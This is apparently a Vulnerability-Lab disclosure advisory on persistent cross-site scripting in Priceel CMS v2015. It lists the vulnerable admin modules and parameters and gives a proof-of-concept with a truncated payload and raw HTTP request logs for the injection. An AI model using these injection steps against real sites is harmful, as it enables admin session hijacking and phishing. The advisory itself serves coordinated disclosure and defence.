Document Title:
===============
Priceel CMS - Multiple Persistent Web Vulnerabilities
Date:
=====
2022-02-18
References:
===========
https://www.vulnerability-lab.com/get_content.php?id=2297
VL-ID:
=====
2297
Common Vulnerability Scoring System:
====================================
5.3
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Introduction:
=============
https://cms.priceel.com & http://uc.priceel.com/
Abstract:
=========
The vulnerability laboratory core research team discovered multiple persistent cross site web vulnerabilities in the priceel cms (v2015) online-service web-application.
Affected Product(s):
====================
priceel.com
Ultimate Priceel CMS v2015 - (Web-Application)
Report-Timeline:
================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2022-02-18: Public Disclosure (Vulnerability Laboratory)
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
Multiple persistent cross site web vulnerabilities has been discovered in the priceel cms (v2015) online-service web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
browser to web-application requests from the application-side.
The vulnerabilities are located in the `name` and `title` parameters of the (`edit_productcategory`, `edit_activity`,
`edit_brand`, `edit_photo`) products, news, brand and photos modules. Remote attackers with privileged access are able to
inject own malicious script code with persistent attack vector to compromise. The request method to inject is post and the
attack vector is persistent. After the inject the code executes on every list preview by the admin in the backend.
Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Products (Add) [./photo/new]
[+] News (Add) [./activities/new]
[+] Brand (Add) [./brands/new]
[+] Galleries (Add) [./photo/new]
Vulnerable Input(s):
[+] edit_productcategory
[+] edit_activity
[+] edit_brand
[+] edit_photo
Vulnerable Parameter(s):
[+] name
[+] title
Affected Module(s):
[+] list
Proof of Concept:
=================
The persistent input validation web vulnerability can be exploited by remote attackers with privileged user account and with low user interaction.
For security demonstration or to reproduce the persistent web validation vulnerability follow the provided information and steps below to continue.
Vulnerable Module(s):
https://priceel-cms.localhost:8080/admin/photo/new
https://priceel-cms.localhost:8080/admin/brands/new
https://priceel-cms.localhost:8080/admin/products/new
https://priceel-cms.localhost:8080/admin/activities/new
PoC: Payload
">
--- PoC Session Logs (POST) [edit_productcategory - name]---
http://priceel-cms.localhost:8080/admin/product_categories/10/update
Host: priceel-cms.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 488
Origin: http://priceel-cms.localhost:8080
Connection: keep-alive
Referer: http://priceel-cms.localhost:8080/admin/product_categories/10/edit
Cookie: PHPSESSID=i7hqs4q9g1k9bj7n0s9o9aocq6
edit_productcategory[categorySituation]=Ta kategoria jest podkategorią -
Leather belt&edit_productcategory[categoryLevel]=&edit_productcategory[name]=">
&edit_productcategory[description]=test2&files[]=&edit_productcategory[id]=10
&edit_productcategory[_token]=O7ALGWHnO4fxd1FVfNfYN5AvzpDS5JziHq4VnyrhMBM&save=
-
POST: HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
Content-Length: 201
Connection: keep-alive
Cache-Control: private, must-revalidate
Location: /admin/product_categories/10/edit
Vary: Accept-Encoding
Content-Encoding: gzip
Server: Apache/2
--
https://priceel-cms.localhost:8080/admin/product_categories/10/evil.source
Host: priceel-cms.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer: https://priceel-cms.localhost:8080/admin/product_categories/10/edit
Cookie: PHPSESSID=i7hqs4q9g1k9bj7n0s9o9aocq6
-
GET: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
vary: Accept-Encoding
server: Apache/2
Vulnerable Source: ./product_categories/ & ./product_categories/[id]/edit